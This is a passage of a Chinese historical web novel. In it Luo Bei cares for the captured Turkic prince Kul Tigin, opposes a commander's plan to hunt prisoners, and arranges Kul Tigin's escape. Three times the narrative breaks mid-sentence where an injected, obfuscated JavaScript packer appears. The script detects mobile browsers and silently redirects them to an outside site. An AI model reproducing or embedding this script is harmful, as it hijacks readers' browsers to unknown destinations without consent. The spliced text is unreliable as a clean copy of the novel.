那两个人都抬起头来,看见是洛北,脸上先露出恭谦神色。洛北虽然在军中并无职务,但这些日子调度军事,后勤粮草,样样事情都在他的手上。李贞、慕容宣彻和哥舒亶也隐隐有以他的意见为尊的意思,两人不敢怠慢,低声应道:“洛明府请吩咐。” “我奉命来看护此人。”洛北语气平和,“你们可以走了。” 那两人也不敢问他到底是奉谁的命,低着头快步走了,回头望时,只看到洛北把阙特勤抱上一片柔软的草席,伸手按了按阙特勤的脉搏,替他包扎身上的伤口。 阙特勤身中数箭,好在铁甲坚固,虽扎在身上,还未伤及肺腑。洛北替他除了创口腐肉,又以药膏纱布细细包扎,待到收拾停当,正起身要走,又好像想到什么似的,解开身上的外袍,盖在了阙特勤身上。 “嘶.......”阙特勤被这轻柔的动作一惊,睁开眼睛,看见是他,不免叹了口气:“乌特,你对所有的手下败将都这么客气吗?” 洛北不知道怎么答他,只得沉默。 “我刚刚梦见,梦见小时候咱们一块儿去打猎时的事情了。”阙特勤艰难地坐起身,靠在墙壁上,勉力平视着他:“你还记得吗?有一年冬雪刚来,我们私自出牙帐去打猎。路上遇到了一群饿狼,我受了伤,你一箭杀了头狼。咱俩才脱身,躲到了山洞里.......情况和现在差不多。” 洛北不料他突然说起往事,脸上也露出笑容,在他身边坐了下去:“这样的事情,你还记得?” “那是你第二次救我性命。”阙特勤语气中带着些感慨和怀念,“乌特.......他们现在,叫你洛北,是吗?” “是。”洛北点了点头,“我已经不是乌特特勤了。” 阙特勤轻轻笑了:“我还是喜欢叫你乌特。” 洛北不打算和他争执称呼,莫说此刻洞中无人,便是有人,也极少有人能听懂他们这番语速极快的突厥语对话:“那就随你喜欢。” 阙特勤又笑了:“我老觉得你把自己看得太低了。在草原上,只有你会这样对待一个手下败将。不过......这或许也是你胜过我的地方。我太急躁,太沉不住气了,败在你手上,我心服口服。” 他仰着头,闭上眼:“你杀了我吧。” 洛北望着他英武的脸上一片坦然神情,心中已如惊涛骇浪:“你在胡说什么?!” “我没有在胡说。”阙特勤睁开眼睛,目露精光,逼视着他,“乌特,我的哥哥和族人们都在突厥,在默啜的眼皮底子下,我是不会,也不能降唐的。除了杀了我,你和那些唐人的将军们还有什么选择?” 多年前沙暴中的抉择再一次被摆到了洛北面前,但这一次,阙特勤没有给他第二个选项。他这才意识到他一直不愿意面对的那些想法到底是什么。 可洛北只是缄口不言,望着远处洞口一点莹莹的光亮,天上铅云盘踞,几朵雪花为北风吹动,飘进了这个隐蔽的山洞之中,很快化在他们面前的地面上。 洛北站起身:“起风了,我去叫他们给你换个地方。”他拔腿要走。 “乌特!”阙特勤在他身后叫他,“你答应我,让我死得像个英雄!” 洛北没有答他的话,顶着越来越猛烈的北风回了自己的营帐。帐中静默无人,留给他一点余裕打水洗净了脸上的泪痕。 “洛北。”慕容宣彻撩开他的帐门,走了进来,脸上是一片愤恨不平之色,“听说你看望伤兵去了?你可真是个会躲事的。” 洛北将桌边的一壶冷茶倒了些给他:“出事了?”他几乎是片刻间就猜到了慕容宣彻心情如此恶劣的理由:“和沙吒忠义有关?” “要不是我和你相识日久,就要怀疑你到底是人是鬼了。”慕容宣彻灌下了半杯冷茶,“他回来了,如今端坐灵州城中,正在指点江山。我好歹是个朝廷郡王,找了个托词就跑了出来,倒是苦了哥舒亶和李贞,他们俩都是他名义上的下属,不知道还要听他那些废话多久。” 此事倒也没有太出乎洛北的意料,他坐在桌边,声音平静:“如今突厥主力骑兵已经遁入漠北,不会再回头了。沙吒忠义这个临阵脱逃的灵武道大总管还能当多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281700|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久都不知道,你们就容忍他一时吧。” “说得轻巧。”慕容宣彻摇了摇头,“他本就刚愎自用,现在脾气更加古怪,今日还说,要发轻骑去追击突厥主力。生擒默啜,为大唐建新功。我看他是想将功赎罪,却要拿将士们的性命去赌。” “左不过阳奉阴违罢了。”洛北轻轻叹了口气,“哄他几天,等到朝廷的处罚命令一到,立刻把他槛送长安。” 他们说着什么,外面传来几声沉重的脚步声。洛北示意慕容宣彻不要出声,自己前去掀开了帘帐。 沙吒忠义的女婿野利荣正站在帐前,看到他出来,将他从上到下,从下到上地打量一番,打量得慕容宣彻都忍不住要出声之时,才道:“洛明府,我家大帅有要紧军务找您商量,还请您和我走一趟。” 洛北不在意他那种审视的目光,他给慕容宣彻递了个眼神,示意他在军中坐镇局势,便向野利荣一拱手,跳上了马。 灵州与贺兰山仅有一河之隔,贺兰山中一片寒冷,灵州城中却温暖如春。 洛北随野利荣赶到灵州城时,天色已晚。他初入城中,便被满城歌舞乐酒熏了一身。高台上的琵琶手正在弹奏一段经变,讲述着佛祖割肉饲鹰的故事。 洛北轻轻掸了掸掉落在身上的一片落叶,望着这繁华盛景,面上冷峻神色稍缓,露出一点笑容。低头之间,便有数只乐妓的手帕落在了他的肩上和马上。 “真羡慕洛公子啊。”野利荣在一边吃吃地笑,“你年少英俊,又没有家事拖累,如今又有军功在身,正是百花丛中大展身手的时候。我这辈子怕是没有这样的福气了。” “野利将军。”洛北皱了皱眉,还是没忍住呛了他一句:“你失言了。” 野利荣见他一脸正色,越发不以为意,打马唱着灵州城中流行的歌舞小调,向前走去了,直到一处金碧辉煌的楼阁之前,野利荣才跳下马来:“洛明府,咱们到了。” “这里不是灵州馆驿吧?”洛北神情越发凝重,虽跳下马来,还是顿住步子,不敢上前,“野利将军,真的是沙吒将军有事情寻我么?” “不错。不错。”野利荣转过身来,笑眯眯地看着他,“洛明府不要害怕,要是你实在信不过我,我可以把哥舒亶叫出来接你。” “这倒不必。”洛北摆了摆手,心中却越发迷惑,沙吒忠义要见他,为什么不在军营之中,也不在灵州官衙里,却到了这样一处繁华的地方?但此刻他也来不及多想,只随着野利荣走进一处景致优美的花园,这花园四周高墙环绕,草木葱茏,鱼池之中,时不时有几尾小鱼探出头来,竟一点不像萧瑟的冬日景象。 右边的房舍中传出唱曲声和笑闹声,在深夜的花园中响成一片。洛北刻意按住自己的好奇,不朝那边去看,只跟着野利荣拐进一条长廊,这才来到待客的正堂。 沙吒忠义身着便服,一见他走进来,满脸堆笑:“洛明府?坐,坐。” 79. 第 79 章 洛北往正堂看去,哥舒亶正垂头丧气地坐在下首,见他走进来,一脸欲言又止。洛北不好推辞,只得捡着末首的椅子坐了下来。 沙吒忠义笑道:“洛明府,你是此战的头等功臣,百步之外,一箭射落突厥默啜大汗,这样的功勋已在城中传遍了。百姓们都说,你是神仙下凡,拯救苍生的。你何必坐的那么远呢?” 洛北拱了拱手:“将军谬赞了。” “今日我邀请两位来,是因为两位都是此战中的功臣,又曾和我在鸣沙城中朝夕相处。”沙吒忠义道,“我特地备下了一桌宴席,请两位与我共饮一番。等到朝廷嘉奖的诏书一下来,两位必将成为炙手可热的人物,我就怕没了这个机会了。” 他临阵脱逃,已经是板上钉钉的大罪。这番话里多少隐含着些不吉利的意味。洛北和哥舒亶都起身道礼,一个说:“朝廷法度严明,还请将军放心。”一个说:“大帅劳苦功高,朝廷定会定夺。” 这两句话似乎都没有能慰劳沙吒忠义的心。他拍了拍手,示意管家奏乐。 帘幕后的乐工们奏出一支迎宾的曲子,侍女们鱼贯而出,捧出一碟碟装有佳肴的碗碟。沙吒忠义亲自挽着洛北和哥舒亶的手臂,带他们绕到左边花厅的屏风前,坐上了宴桌。 宴桌上铺设着精美的五彩锦缎,精工雕琢过的象牙筷摆在白瓷的碗碟上,光彩夺目,世间罕见。 洛北和哥舒亶都不是没有见过世面的人,还是为这种奢靡气氛一震。但想到沙吒忠义有大功于朝廷,又在宫中做了多年禁军,便是得到的赏赐也不止这些,当即埋头吃饭,不多说话。 沙吒忠义脸上笑容更盛,又拍了拍掌。乐工们变换出一段动人的旋律,一名妙龄舞姬翩然从侧门转进了花厅之中: 她身着轻飘飘的白色长裙,对着洛北和哥舒亶盈盈一拜,又旋身而起。她时而点起足尖,时而屈膝折身,双臂飘然如扶柳,脚步轻盈如鹤行,只有一双眼眸似有哀伤神色。 洛北察觉到一丝不对,向她凝视的方向望了过去,只见哥舒亶正定定地与她对望,连手中举着的酒杯都忘了放下来。 洛北对这对小儿女之间的私情不感兴趣,也无意扮演那个从中作梗的人,干脆定了定心神,推算起沙吒忠义叫他们两个人来这里的目的: 沙吒忠义临阵脱逃,已经是板上钉钉的事实。如今突厥主力已经逃窜,沙吒忠义再也不能靠扩大战争来获取战功。只能靠手下这些将军们:李贞世家出身,是灵州实际上的长官,慕容宣彻更是朝廷钦封的郡王。沙吒忠义没有把握说服这两个人,只能希望他和哥舒亶在朝中为他们说话。这桌宴席,便是用来拉拢他们的。 一曲终了,哥舒亶鼓掌不停。洛北也礼节性地鼓了鼓掌,还是把目光转向沙吒忠义:“真是好歌舞啊,将军如此盛情款待,不知有什么吩咐啊?” 沙吒忠义挂着的笑容差点没掉下去,哪来的这么个不解风情的家伙!他好不容易定了定心神,露出一个得意笑容: “如今突厥兵退,大军功成,我想在这灵州城中摆一场庆典。酒席、乐舞我都已经差人备好。不过为了庆祝此战功成,只有这些还是逊色了。” 洛北听得出来他话里有话:“请将军不妨直言。” “我想办一场射猎大会。命军中将领都来参加,以获得猎物最多的人为第一。”他摸了一把自己的胡子,露出洋洋得意的神情,“获得第一的人,不仅可以赢得黄金五十两的奖赏,还有,我的这位小女——” 他挥了挥手,那舞姬敛衽为礼,向两人各道一礼,目光盈盈:“小女百合,见过两位将军。” 洛北侧身避过,只受了她半礼:“小姐太客气了。”心里暗自疑惑了一句:沙吒忠义这是什么意思?且不说这位百合小姐明显与哥舒亶有私情,就是没有私情,也万没有让女儿穿成这样到两个外男下属面前献舞的道理啊。 沙吒忠义见他不接招,又把目光投向哥舒亶:“哥舒将军,你觉得呢?” 哥舒亶苦笑一声,拱手道:“将军,如今隆冬提前到来,天寒地冻,恐怕猎物并不好找。既然是酬劳众将,命他们以射箭、摔跤等诸般武艺比试,夺魁者厚赏,岂不是更好吗?” 沙吒忠义哈哈大笑:“哥舒亶,大军出征,获得大胜,这猎物不是多的是吗?”他指了指洛北,“洛明府不是还抓来了突厥主将,作为这场射猎中的头彩吗?” 洛北和哥舒亶俱是一惊,沙吒忠义这个疯子,竟然想用这次被俘的突厥军人作为猎物! 洛北率先拒绝:“沙吒将军,对于被俘的突厥将军,朝中一向自有法度。更何况,被我们抓到的突厥主将阙特勤,是突厥大汗默啜的亲侄子。这一次是为了掩护突厥主力逃跑,才留下来袭击我军。他在军中威望极高,若我们仓促将他们放归山林之中,恐怕会引起意想不到的麻烦。” 哥舒亶的脸色也是十分难看:“大帅,昔年大唐讨伐东西突厥,俘虏东西突厥无数贵胄,都以礼相待,妥善安置。家祖也是其中一员,哥舒家自此为大唐效死,到我这里已是三世了。如今这些突厥人被俘,大帅正应效仿太宗时期的旧制,善加安抚,怎么能这样羞辱他们?” 沙吒忠义挥了挥手:“你和他们不一样。哥舒亶,当年大唐安置他们,换来的却是单于大都护府的暴动叛乱。这是群养不熟的狼,用不着对他们太好。” “那便光明正大地处死他们,以慰我军心。”洛北斩钉截铁,一字一顿地道,“我愿亲自施刑,杀了阙特勤。” 他表态如此激烈,远在沙吒忠义和哥舒亶意料之外。沙吒忠义扯出了个笑容:“洛明府真是忠心可嘉,本将了解了。好了,今天已经太晚了,你们都去休息吧。” 走出沙吒忠义府外,夜色已经很深了。洛北心思纷乱,差点在府门撞上了同样也是满腹心事的哥舒亶。两人见是对方,不禁都露出了十分疲惫的笑容。 “哥舒亶,你和百合小姐.......”洛北犹豫片刻,还是开口问了出来。 哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281701|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒亶点了点头,神情悲切:“此前一直没说,是我的不是。百合原是沙吒忠义和一个舞姬的女儿,只因生得貌美,常在府中受人欺负,一次仓皇逃到外院来,才和我认识。本来我这次立下大功,是想前来求娶的。可谁知道,沙吒忠义竟拿自己的女儿作为筹码,让你我帮他在朝廷脱身。” “我可不会做那棒打鸳鸯的人。”洛北拍了拍他的肩,“哥舒亶,你还要劝一劝沙吒将军,打消他这个荒唐的想法。士可杀不可辱,这些突厥人都是不怕死的勇士,这样相逼,是会出乱子的。” 哥舒亶低头称是。浑浑噩噩地走了。洛北看他的背影,神色中难得多了一点疑虑。 数日之后,洛北骑在高头大马上,随着军队再度进入了灵州城中。本次战役告捷,灵州数十万百姓和土地得以保全,因此虽然没有朝廷嘉奖的诏书,庞大的恭迎凯旋的队伍,也已经将偌大的灵州城门挤得水泄不通。 沙吒忠义跟着灵州一众官员站在门口迎接,眼见旌旗猎猎,队伍将近,他和一众官员纷纷拱手道礼:“此战告捷,真是万民之福啊。” 李贞跳下马来,对这位上级躬身道礼:“全凭圣上洪福,诸位同僚援助,还有将士用命,百姓爱戴。” 沙吒忠义扶了他一把:“李刺史不必多礼,不如移步府中,与我等共庆大捷!” 李贞没有推辞,便带着身后哥舒亶、慕容宣彻和洛北等将领入了府中。菜肴歌舞都已经备好,一等他们入席,便一一献上。 酒过三巡、菜过五味。天色已经近日暮,沙吒忠义起身,高声请一众将领第二日去他在城外的庄园上打猎。 在宴饮的人群之中,洛北忍不住看了一眼哥舒亶,哥舒亶忙附耳过去,低声道:“他淘换了些黄羊、狍子、还有野狼一类的小兽,投到林中。不会让我们再和那些被俘的突厥人交手。” 洛北面色稍霁:“好吧。” “洛明府,你的要求我是做到了,你可记着你答应过我,不要在这次行猎大会上挑头。”哥舒亶苦笑道,“论骑射,军中怕没有几个人是你的对手,可我想求娶百合,就这么一个机会了。” “你放心。”洛北一口应允下来,他从袖中掏出一只荷包,递给哥舒亶:“到了明天开场之前,我会分别和宣彻王子还有慎交兄谈及此事,他们都是正人君子,一定愿意玉成好事。这荷包中的东西,就当我提前送你们的贺礼了。” 哥舒亶掏出荷包中的东西一看,竟是一只玉雕的百合花,那花朵栩栩如生,上嵌了数只珍珠作蕊,做工精致,材料上乘,是一块价值千金的东西:“这.....这我怎么好意思呢?” 洛北轻轻一笑:“西域有名的大商人裴伷先裴老板是我的朋友。我是在他灵州的铺子里找到此物,觉得特别合适,就买下来权作贺礼,你可不要嫌简薄啊。” 哥舒亶心情稍定,才展露笑容:“洛明府,这样的大恩,叫我怎么报答呢?” “好说。”洛北道,“喜宴那天,我要坐首桌。” 80. 第 80 章 第二日,灵州城上空的连绵阴雪终于迎来晴天。众将领都聚集到了沙吒忠义的府上,唯有李贞推说灵州公务堆积太多,没有前来,却放了他下属的那批灵州军的将领前来。 “他这个地方官做的也是殚精竭虑了。”慕容宣彻骑在马上,在后排笑笑地和洛北打趣李贞。按照朝廷的规制,他应当走在前列,但他是吐谷浑首领,又是朝廷郡王,自然有随心所欲的资本。 洛北心中有事,没有他那样的好心情,应了句道:“慎交兄如此勤奋公事,倒让我想到了我鸣沙的田地和百姓。等此间事毕,我也要启程回去了。” 慕容宣彻笑了一声:“好吧。咱俩在灵州城是没时间畅饮一番了。等到过了冬,我再来鸣沙看你,带着酒来。” “一言为定。” 他们行走不到一个时辰,便来到沙吒忠义在城外的庄园。此庄园依靠一座贺兰山支脉而建,占地甚广,遍地是草木,一座座亭台楼阁在山间崛起,层层叠叠,甚是壮观。 沙吒忠义将众人带到一片山林间的宽整平地之前,平地上已经扎起了数只供人休息的帐篷,各个装饰一新,颇为气派。 “诸位将军。”沙吒忠义一身猎装,站在队伍前列,“诸位连连征战,辛苦了。今日我在此摆下大宴,请大家效仿古礼,田猎为乐。今次猎物第一的,我重重有赏。我还在林中散了些‘与众不同’的猎物,诸位可要多加小心呐。” 众人欢庆一声,各自散去拿弓拿箭,入林中搜寻猎物去了。哥舒亶自然带着自己亲族的两个将军钻进了林子里,临走还不忘给洛北递个眼神。 洛北哑然失笑,干脆拉着慕容宣彻到了一边,与他说了哥舒亶和百合小姐的故事,还有哥舒亶的请求。 慕容宣彻笑了笑:“沙吒将军独自邀请你们到他的府上,看来他所选择的佳婿就在你和哥舒亶之中。我自然不会去凑这个趣儿。只可惜哥舒亶的一片情谊,眼看着就要成为沙吒忠义给自己脱罪的工具了。” 洛北道:“我本来也不忍心,可转念一想,此战大胜,朝廷也不会将沙吒忠义抄家灭族,最多是免为庶民。百合小姐出嫁,还可以带走属于她的那份家产,不用受自己父亲的牵连。这也能称得上是个好结局。” 慕容宣彻轻轻一笑:“也是啊。哥舒亶是个有本事的青年,便是为此事所累,只要还在边疆,就能做出一番事业来。” 他们说着话,拐进一条人迹稀少的小径中,慢慢地进了密林。冬季猎物稀少,连树林中都显得荒凉。洛北和慕容宣彻也无心打猎,干脆找了个地方谈起吐谷浑和长安的诸多事宜,时不时发出一阵笑声。 “所以说……若延将军虽然留守城中,但消息还是灵通得很啊……什么人?!”说话之间,洛北却忽而神色一变,抽刀反身,挡在了慕容宣彻面前,正好格开向他们挥来的半截木棍。 来人才发现自己手中的“兵刃”竟如此不堪一击,抬头看他,露出一张高鼻深目,长发披索的突厥面容:“你们这群狡诈的唐人,我今日死即死矣,绝不要再落入你们的陷阱之中!” 洛北反应不及,他已经撞在洛北的刀上,洒出一脖热血,倒了下去。 “这是.......”洛北当即反应过来,“这是我们俘虏的突厥将士。沙吒忠义这个疯子,他还是把这些人投到猎场中来了。” 洛北说着便是心下一紧:既然如此,阙特勤一定也在这片林中。 慕容宣彻不明所以:“洛公子在说什么?这是怎么一回事?” 洛北简明扼要地向他解释了几句此事始末,慕容宣彻也是大惊失色:“这个沙吒忠义是疯了不成?他以为自己是灵武道大总管,就可以为所欲为?” “沙吒忠义想把我们都拉下水,盖上个杀降的罪名,这样就可以光明正大地在逼我们与他串通一气,在给朝廷的呈文上造假。”洛北冷声道,“宣彻王子,我想劳烦你即刻离开此庄,去灵州城找慎交兄通报此事。” 慕容宣彻点了点头:“好,谅他沙吒忠义也不敢拦我。我这就去,你呢?” “我要留下来,以免事态恶化。”洛北苦笑了一声,“再说,沙吒忠义可是邀请我当他的女婿,我是想走也走不掉的。” 慕容宣彻点了点头,便顺着他们前来的路,一步步地出了密林。洛北低下身来,看了看那突厥人的脚印,循着脚印的方向一路向前探查。 寻查脚印,是猎人的基本功。洛北循着脚印找到一片纷乱的脚印,四周还有解开的绳索痕迹和血迹残留——这显然是沙吒忠义一开始释放这些突厥俘虏的地方。 洛北攀上林间一棵大树,四处望了望。好在时间已经到了冬天,四处枝丫枯萎,没有多少树叶遮挡视野。他以一个神射手应有的目力,看到了阙特勤的位置,便利落地跳下大树,往那边摸了过去。 阙特勤身上还裹着洛北披在他身上的那件袍服,此刻他一手拿着一根捡来的枯枝,一手扶在树上,警惕地望着四周。 洛北趁他不注意,滚身摸到他身后,一把捂住了他的口鼻,低声道:“别动。” 阙特勤本就在高度紧张之中,只觉得这声音熟悉,却没有反应过来说话的人是谁。他下意识地挣扎两下,双手却被洛北顺手单手剪在身后,动弹不得。 洛北怕他挣扎太过,引来他人,手上一直不敢泄力,只能先卸掉了阙特勤手中的武器,才缓缓地放开一点。 阙特勤大口大口地喘着粗气,胸膛剧烈地起伏着,他正要开口骂些什么,却在看到那只修长右手上戴着黑玉扳指时彻底压低了声音: “乌特,你怎么在这儿?” “我还想问你呢。”洛北替他紧了紧身上的外袍,“这到底是怎么回事?你们怎么被人从俘虏营中放了出来?” 阙特勤摇了摇头:“我身上还伤着,大部分时候是睡得多,醒得少。只在隐约之间听到好像有人奉命把我们提了出来,又送到了这里。” “一共多少人?”洛北问。 “不到二十人。都是和我关在一起的领兵将领。”阙特勤看着他难得露出焦虑神情,神情却多了几分坦荡:“乌特,我早就和你说过,你应该杀了我。我宁愿死在我最好的朋友手上,也绝不死在这些狡诈的汉人和高丽人手中。” 洛北轻轻一笑,像是下定了什么决心:“你不会死的。阙特勤,我放你走。” “放我走?”阙特勤简直不敢相信自己的耳朵,“你疯了吗?四周都是唐人的军队,你要当着他们放走我,你不想要脑袋了?” 洛北摇了摇头:“所以这一切要做的自然,做的天衣无缝。牵涉的人越少越不容易被识破。你听我说……” 他将自己的计划一一交托而出,末了又道:“……我在长安的时候,曾经被酷吏周利贞打断过左臂,到时候,你就往我的左侧攻。下手重些。” 阙特勤望着他那一双含笑的眼眸,见他说出此话时,轻描淡写得好像在说别人的事情,心中不禁五味杂陈:“乌特……” “走吧。”洛北在地上找了截粗绳,将他重新绑住,一路押着他向沙吒忠义的大帐走去。 沙吒忠义见他带回了阙特勤,脸上露出微笑:“还是洛明府才能出众啊,竟一举将我布在林中的‘头彩’带了回来。” 洛北拱手道礼:“属下不过是会些猎人们最简单的追查办法而已。”他猛推一把阙特勤,让他栽倒在地上,“见到大将军,还不道礼?” 阙特勤佯作愤恨地望了他一眼,跪倒在地,不再说话。 沙吒忠义哈哈大笑:“洛明府果然是洛明府,你也太自谦了。”他走到洛北身边,一把搂住他的肩膀,“何况你也知道,日后你可不仅要叫我将军……还要叫我一声父亲……” 洛北有些急了,当即半跪在地:“将军。此话可不敢乱说。哥舒将军可是一直对百合小姐情有独钟,我不想夺人所好。” “哎,婚姻大事,都是媒妁之言,父母之命。哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281702|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有小儿女私订终身的道理。”沙吒忠义冷淡道,“难道你已经有了中意的名门贵女,看不上我的这个女儿?” 洛北咬了咬牙,抱拳低头正要答话。 便是这么一低头的工夫,阙特勤猛然发力,生生挣开了那段绳索,他握手为拳,一拳重重地砸在了洛北左肩上。 洛北被他的力道冲得栽倒在地,疼得左半边身子都麻了,压根直不起来身子。 阙特勤顺势抽过他腰间的那把陨铁唐刀,架在了沙吒忠义的脖子上,喝令帐中所有人都退下: “退下!不准动!否则你们的大将军可就没命了!” 此刻一众将领都在林中打猎,帐中无人主事,几个护卫哪敢上前,只能依照阙特勤的话向后退。 阙特勤挟持着沙吒忠义,慢慢出了大帐,正撞上带着数只黄羊和野狼回来的哥舒亶。他见此情况,简直是不敢置信:“阙特勤,你想干什么?!” 阙特勤森然一笑:“好啊,终于来了个管事的。哥舒亶。现在就让你的手下们放我和我手下的兄弟们离开,否则你的这位大将军可就没命了!” 那柄陨铁所铸的唐刀远比一般唐刀更加寒凉,碰在沙吒忠义的皮肤上激起一阵冰冷的触感。沙吒忠义当下慌了神:“哥舒亶……哥舒亶,听他的,一定要听他的,别激怒了他。” 哥舒亶就是再不情愿,此刻也只能折身下令,让手下的赤水军将士入林把那些突厥俘虏都搜出来。 “动作快些,我只给你们一刻时间。”阙特勤一边微微用力,在沙吒忠义的脖颈间留下一道血痕,一边冷声威胁道。 不一会儿,林间站了十六个突厥俘虏。哥舒亶冷声与阙特勤谈判:“阙特勤,你要的人就在这里。现在,你可以放开沙吒将军了吧。” “不要急,哥舒将军。”阙特勤道,“现在,叫你手下的人给我准备十六匹快马,我会带着你们将军出城——若是出城十里,你们没有追上来,我就把他丢在那里的官道上。要是追了上来,你们就只能见到他的尸首了!” 哥舒亶本要发作,但沙吒忠义在阙特勤手上,他不敢动,只得按照阙特勤的一切条件安排好了,目送阙特勤和他手下那帮突厥将领离开庄园。 阙特勤离开哥舒亶视线,带着自己的部下顺着贺兰山中的官道走出五里。沙吒忠义在他的刀下奋力挣扎:“阙特勤……五里到了,你应该放了我!” “好,我现在就放了你!”阙特勤在沙吒忠义的身上重重地划了一道,把他推下马丢在路边。自己则带着手下将领,一路疾驰,翻山向突厥主力追赶而去。 待到灵州城再也不会出现在眼中,他手下的将领才问:“阙特勤……我们走得如此顺利,是不是有诈?后面不会追上来唐人的骑兵吧?” “只要咱们跑得够快,他们就追不上我们。”阙特勤看了个方向,“我知道山中有个小路,咱们抄小路过去。” 他带队潜入一片密林,丢下空荡荡的官道,不到一个时辰,便离开了灵州城,驶入一片茫茫草原之中。 金雕盘旋在他们头上,领他们落在一处废弃已久的村落之中。阙特勤命骑队就近驻扎,从水井中舀出清水充作补给。他带着两个属下搜寻村落,在断壁残垣之中找到了一点吃的。 在村子尽头,一座残破的祆寺挺立于血色残阳之中。阙特勤吹亮火星,重新点燃了供奉的熊熊圣火,在圣火前顶礼膜拜。 “伟大的祆神在上……” 他暗自在心中祷告: “我和乌特是一起在可汗牙帐里长大的,我们一起放过鹰,一起打过猎,一起赛过马,一起喝过整夜的大酒,也一起挨过默啜的责罚。我救过他的性命,他也救过我的性命。在战场上全力以赴,是为了我们这些年的情谊。现在他肯放我走,也是为了我们这些年的情谊。” “请伟大的祆神保佑我与他一切顺遂。 请保佑我们,不要让这成为我们此生所见的最后一面。” 81. 第 81 章 灵州刚刚开始飘雪的时节里,西域已是一片白雪皑皑。 洛北站在木栈道上,望着不远处一条滔滔大河,河水湍急清冽,一路向西奔涌而去,目之所及的河水尽头,一座大城屹立天地之间。 那便是碎叶城——大唐安西四镇中最西的一座。 他的亲兵们正有条不紊地在峭壁内的石窟中生火煮饭。他们一路行来,风雪深重,在野外扎营已绝无可能,唯有栖身于沿途山崖中的石窟之中。 这些石窟多为佛教徒开凿,供沿途休息或是修行所用。四周墙壁都彩绘着漫天神佛,藻井之中飞天盘旋。火光一燃,照亮了石窟中漫天神佛永垂不朽的笑颜。 “还有半日,就能到碎叶城了。”洛北走进石窟,在火堆边略暖和了一下自己冻僵的双手,正要接过一块生兽肉放到火边,却只听得头上一声风鸣。 金雕俯冲而下,一下就从他手中把肉叼走了。它得意洋洋地到一边大嚼起来,吃完了,才发出一阵满足的鸣叫,依偎到洛北身边,鸣叫着撒起娇来。 巴彦哈哈大笑:“一进西域,风雪这样大,我们都不想多动。唯有这小家伙,风雪越大越来精神。” 洛北掸了掸金雕身上的风雪:“其实这风雪茫茫的高原之上,才是它真正的家。金雕又不像人,没什么‘近乡情更怯’的情感。” 众亲兵都笑了,还有几人把善意的目光投向坐在角落的一个突厥青年。他叫阿拔思,是当年随着斛瑟罗从碎叶城东迁到凉州的西突厥族人。见众人都望着他,他不好意思地笑了笑:“我老想着长大的那片牧场,家里在那边修了个小木屋,也不知道这次回来,能不能看到。” “我是去谈判,又不是去打仗。你们也没有必要天天跟在我身边。”洛北笑道,“到了碎叶城,放你半月大假,带着你这里的几位朋友,一道去附近找找看。” 阿拔思听闻此话,绿琉璃似的的眼睛都亮了:“当真?公子,我保证我会及时回来!”他一蹦三尺高,在洞窟中走来走去,也没能消磨掉自己的热情,最后道礼,自告奋勇地要去前方看看迎接的吴钩到了什么地方。 洛北哑然失笑,知道这个要强的青年是满腔心绪不欲人知,也就随他去了。阿拔思出门不到半刻,便带着一身胡服的吴钩回到了石窟内。 洛北见到吴钩,分外亲切,上前去一把握住他的双手:“吴主簿,多日不见,你清减了。” “清减又何妨,比起出入各部,捭阖纵横的威风,掉了这点斤两算得了什么。”吴钩笑道,又招呼那二十八名亲兵:“诸位,我们这就起步赶路吧。我在碎叶城中买了大大的宅邸,那里的仆役们已经烧起了热汤和烤肉,就等着大家到来,欢宴一番呢。” “那敢情好!”众人发出一阵欢呼声,各自下了栈道,骑马上路。 洛北催马同吴钩走在最后:“拔汗那情况如何?” “我离开之时,已经听说突厥大汗默啜已经任命阙特勤作为突厥主将,率兵前去平定叛乱。拔汗那人惶恐不堪,有一部分人去投了北庭都护阿史那献将军,还有些人要死守牧场。”吴钩摇了摇头:“他们没有大唐的帮助,不会是突厥的对手。” 这是洛北时隔月余之后第一次听到阙特勤的消息,他露出一个清浅的笑容:“鸣沙一败,国中又有内乱,便是阙特勤用兵如神,怕也无法改变突厥一两年内无法再对外用兵的情况。正好留些时间给我在西域整顿势力。” 吴钩这才想起问他此行的目的:“公子来信匆匆,只说要到碎叶城来参加一场谈判。现在可否告诉我,这一切究竟是怎么回事?” “说来话长啊。”洛北苦笑了一声,开口解释其中始末: 那日阙特勤出逃之后,李贞派人在灵州城附近搜寻了他三天三夜,除却在草原上的破落村庄中发现阙特勤点起的祆神之火,竟找不到一点他的踪迹,只得无奈打道回府。 洛北自疼痛带来的晕厥之中恢复神智,立刻到李贞面前自承看守不严的罪过。 